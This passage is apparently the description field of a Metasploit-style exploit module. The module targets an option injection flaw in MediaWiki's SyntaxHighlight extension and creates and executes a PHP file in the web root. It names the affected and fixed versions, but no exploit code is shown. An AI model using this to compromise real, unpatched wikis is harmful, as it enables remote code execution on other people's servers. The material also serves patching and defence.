      'Description'    => %q{
        This module exploits an option injection vulnerability in the SyntaxHighlight
        extension of MediaWiki. It tries to create & execute a PHP file in the document root.
        The USERNAME & PASSWORD options are only needed if the Wiki is configured as private.

        This vulnerability affects any MediaWiki installation with SyntaxHighlight version 2.0
        installed & enabled. This extension ships with the AIO package of MediaWiki version
        1.27.x & 1.28.x. A fix for this issue is included in MediaWiki version 1.28.2 and
        version 1.27.3.
